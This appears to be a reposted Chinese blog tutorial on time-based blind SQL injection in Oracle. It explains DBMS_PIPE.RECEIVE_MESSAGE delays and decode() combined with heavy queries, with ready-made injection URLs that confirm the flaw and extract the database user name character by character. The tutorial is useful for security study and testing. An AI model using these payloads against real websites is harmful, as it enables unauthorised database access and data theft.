• Oracle基于延时的盲注总结


    0x00 前言

    oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;

    oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。


    0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注

    DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制

    首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

    在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

    dbms_pipe.receive_message('RDS', 10)

    DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

    延迟盲注中的应用:

    http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
    http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

    如果页面延时10秒返回,即存在注入。

    来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
    DBMS_PIPE.RECEIVE_MESSAGE (
       pipename     IN VARCHAR2,
       timeout      IN INTEGER      DEFAULT maxwait)
    RETURN INTEGER;
    可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
     
     
     

    0x02 decode函数延时盲注

    decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

    在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。

    and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
     http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

    当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:

    (select count(*) from all_objects) 

    http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

    通过这种明显时间差也能判断注入表达式的结果。

  • 相关阅读:
    通过IDEA创建SpringMVC项目记录
    开发问题总结
    idea控制台乱码解决
    java获取文件是否文件夹
    oralce优化文章
    乱码踩坑记录
    oracle关于左连接失效的一些问题
    volatile关键字
    postman body formdata和xwwwformurlencoded区别
    [转][C#]ScottPlot
  • 原文地址:https://www.cnblogs.com/-qing-/p/10951998.html
Copyright © 2020-2023  润新知